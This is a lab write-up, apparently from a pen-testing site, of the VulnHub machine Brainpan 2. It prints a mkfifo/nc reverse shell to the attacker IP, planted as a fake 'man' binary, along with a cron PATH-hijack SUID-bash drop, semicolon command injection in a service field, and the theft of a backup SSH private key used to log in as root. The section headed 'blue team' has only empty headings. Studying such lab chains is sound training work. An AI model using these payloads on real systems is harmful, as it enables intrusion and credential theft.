pen-test-lab// Request a test →
Writeup · VulnHub · Boot2Root

Brainpan 2 — trolls all the way down

A custom TCP service that leaks its own PATH, a popen() call hijacked through a writable working directory, and then a privilege-escalation maze built almost entirely out of dead ends: two separate accounts both named "root," a buffer-overflow binary that only reaches a decoy, and a writable Exim config that goes nowhere by design. The real uid 0 is a trailing-space account reached with a stale SSH backup key, pulled through a second SUID service. superkojiman named this one well.

target 192.168.56.136 · Brainpan 2 author superkojiman attacker Parrot OS · .137 foothold PATH hijack via popen result uid 0 · stale SSH backup key
// 00

Executive summary

Run from a fresh Parrot Security OS VM on the lab's host-only network. Brainpan 2 is less a buffer-overflow box than a lesson in not following the loudest clue. The foothold is clean and logical — a custom service hands you its PATH, its own notes tell you it reads a manpage with popen("man ./brainpan.txt"), and . sits in that PATH ahead of /usr/bin. Plant your own man, done.

The privilege escalation is where the box earns its name. Three separate routes lead to a fake root (uid 104) or straight into a wall: a cron PATH hijack, a SUID buffer-overflow binary, and a writable Exim config. None of them read the flag. The only path to real root runs through a second, older copy of the brainpan service that is SUID a different user — and ends at an account literally named "root ", with a trailing space, keyed in from a backup SSH directory.

hex@parrot:~ — brainpan 2 chain· · ·
#1recon → :9999 custom service, :10000 python web (decoy .exe)
#2GUEST/DEBUG → SYSTEM leaks PATH=/bin:.:/usr/bin, notes reveal popen("man ...")
#3path hijack → CREATE a malicious ./man, HELP triggers it → shell as anansi
#4decoys → cron run-parts + msg_root + exim config all → fake root (uid 104)
#5puck pivot → SUID brainpan-1.8 command injection → steal backup SSH key
#6real root → ssh -l "root " (trailing space) :2222 → uid 0

PHASE 01 · recon

Two ports and a fake binary

$ sudo nmap -p- --min-rate 3000 192.168.56.136
PORT      STATE SERVICE
9999/tcp  open  abyss              # custom "BRAINPAN 2.0" service
10000/tcp open  snet-sensor-mgmt   # python SimpleHTTPServer

The web server on :10000 serves an infographic and, under /bin/, a file named brainpan.exe. It's bait — file gives it away instantly:

$ wget -q http://192.168.56.136:10000/bin/brainpan.exe
$ file brainpan.exe
brainpan.exe: JPEG image data, JFIF standard 1.01   # not a binary — a troll

Run file, not wget-and-reverse. Both images on the box are steg-clean, and the "exe" is a JPEG. Time spent reversing it is time the author wanted you to waste. The way in is the service on :9999.


PHASE 02 · the service

GUEST, DEBUG, and a leaked PATH

The :9999 service wants a login. The banner says "LOGIN AS GUEST" and means it literally — GUEST must be uppercase. A second undocumented account, DEBUG, switches commands into verbose developer output.

$ nc 192.168.56.136 9999
>> DEBUG
    LOGGED IN AS DEBUG
>> SYSTEM
HOME=/home/anansi
PWD=/opt/brainpan
PATH=/bin:.:/usr/bin:/sbin     # note the "." — current dir, ahead of /usr/bin

A VIEW of the server's own notes.txt spells out the vulnerable call:

# notes.txt
reynard:
 - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
anansi:
 - Discovered buffer overflow in the command prompt, fixed as of version 2.0

Three facts line up into one exploit: the HELP command runs popen("man ./brainpan.txt") with a bare man; PATH has . (which resolves to /opt/brainpan) before /usr/bin; and man is not in /bin. Whoever can drop an executable man into the working directory owns the HELP command. The CREATE command writes files there — and sets the execute bit.


PHASE 03 · foothold

PATH hijack via popen

ncCREATEmkfifo rev shell

Write a man that is really a reverse shell. The popen runs through /bin/sh (dash), so a dash-safe mkfifo shell is used rather than a bash /dev/tcp one:

>> CREATE
    ENTER FILE TO CREATE: man
    ENTER CONTENTS: rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.137 4444 >/tmp/f
    EXECUTE BIT SET
    FILE CREATED

>> FILES
-rwxrwxrwx 1 anansi anansi  85 man      # executable — PATH will pick it before /usr/bin/man

>> HELP                               # fires popen("man ./brainpan.txt")
$ nc -lvnp 4444
connect to [192.168.56.137] from 192.168.56.136
$ id
uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)

First-create quirk. CREATE occasionally drops a file without the execute bit despite printing "EXECUTE BIT SET." If PATH resolution falls through to the real man (you get the manpage, not a shell), re-create man and confirm rwx in FILES before triggering HELP. A non-executable file is skipped by PATH lookup, and the hijack silently fails.


PHASE 04 · the maze

Three roads to a fake root

anansi is in staff, and the box dangles three escalation paths. Every one of them is a trap that stops at a decoy. This is the heart of the box, and the lesson is to verify which uid you actually land on.

# the dual-root trick

$ grep -n root /etc/passwd
root:x:104:106:root:/root:/bin/bash      # FAKE root — uid 104
root :x:0:0:root:/var/root:/bin/bash      # REAL root — uid 0, note trailing space in name

Two accounts both display as "root." Every "easy" privesc on this box lands on uid 104, whose home /root contains a whatif.txt taunt — not the flag, which is owned by uid 0.

RouteMechanismLands on
cron PATH hijackstaff-writable /usr/local/sbin + root cron runs bare run-partsuid 104 (decoy)
msg_rootSUID stack overflow in /home/reynard/msg_rootuid 104 (decoy)
exim configconfig.autogenerated owned by uid 104nowhere — see below

# the cron hijack (reaches only the decoy)

# root crontab — note /usr/local/sbin is first in PATH, and staff can write it
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * *  root  cd / && run-parts --report /etc/cron.hourly

$ printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /usr/local/sbin/run-parts
$ chmod +x /usr/local/sbin/run-parts
# at :17 the hourly cron runs our run-parts → SUID bash
$ /tmp/rootbash -p
$ id
uid=1000(anansi) euid=104(root) groups=106(root),50(staff)   # fake root, uid 104
$ cat /root/flag.txt
cat: /root/flag.txt: Permission denied              # flag is owned by uid 0

# the exim rabbit hole

As fake-root (104) you own /var/lib/exim4/config.autogenerated, and Exim 4.80 is SUID root. It looks like the obvious finish — inject a pipe transport, let the root daemon run it. It isn't:

$ echo test | /usr/sbin/exim4 -odf anansi@localhost
Exim configuration file /var/lib/exim4/config.autogenerated has the wrong owner, group, or mode

Exim is the deliberate time-sink. Exim refuses to run as root against a config it doesn't trust — one not owned by root or the Exim user. The config is owned by uid 104, so every invocation drops privilege, and there is no root-owned Exim daemon or queue-runner to abuse. It's a wall by design. Kill the hypothesis empirically (no SUID bash gets dropped, ps shows no exim daemon) and move on rather than grinding payloads.


PHASE 05 · the real path

puck → the backup key → uid 0

The only route to real root runs through puck. An older copy of the brainpan service lives at /opt/old/brainpan-1.8/ — SUID puck, binding 127.0.0.1:9333. Unlike 2.0, the 1.8 service's VIEW command is injectable.

nc (localhost)command injectionssh
$ ls -la /opt/old/brainpan-1.8/
-rwsr-xr-x 1 puck puck 17734 brainpan-1.8.exe   # SUID puck
$ cd /opt/old/brainpan-1.8 && ./brainpan-1.8.exe &      # binds 127.0.0.1:9333 as puck

Connect locally, log in GUEST, and inject a command through VIEW — it runs with euid=puck:

$ nc 127.0.0.1 9333
>> VIEW
    ENTER FILE TO DOWNLOAD: brainpan.7; id
...
uid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff)

puck has a stale backup of an SSH key that the real root account still trusts. Copy it out through the same injection:

>> VIEW
    ENTER FILE TO DOWNLOAD: brainpan.7; cp /home/puck/.backup/.ssh/id_rsa /tmp/rootkey; chmod 644 /tmp/rootkey

# log in as the trailing-space root

SSH is bound to 127.0.1.1:2222 (loopback — invisible to the external scan). The username is "root " — four characters and a space:

$ cp /tmp/rootkey /tmp/ak            # own it as anansi so ssh can read it
$ chmod 600 /tmp/ak
$ ssh -i /tmp/ak -p 2222 -o StrictHostKeyChecking=no -l "root " 127.0.1.1 'id; cat /root/flag.txt'

uid=0(root ) gid=0(root ) groups=0(root )

                 !!! CONGRATULATIONS !!!
         You've completed the Brainpan 2 challenge!

Two field-gotchas that cost real minutes. Pass the trailing-space user with -l "root ", not as a positional user@host — bare, SSH parses "root " as a hostname. And SSH reads the identity file as your real uid: a key owned by a different user (even mode 600) gives could not open key file: Permission denied, so copy it to a file your own uid owns first.


PHASE 06 · blue team

Where the chain breaks

# detection

# remediation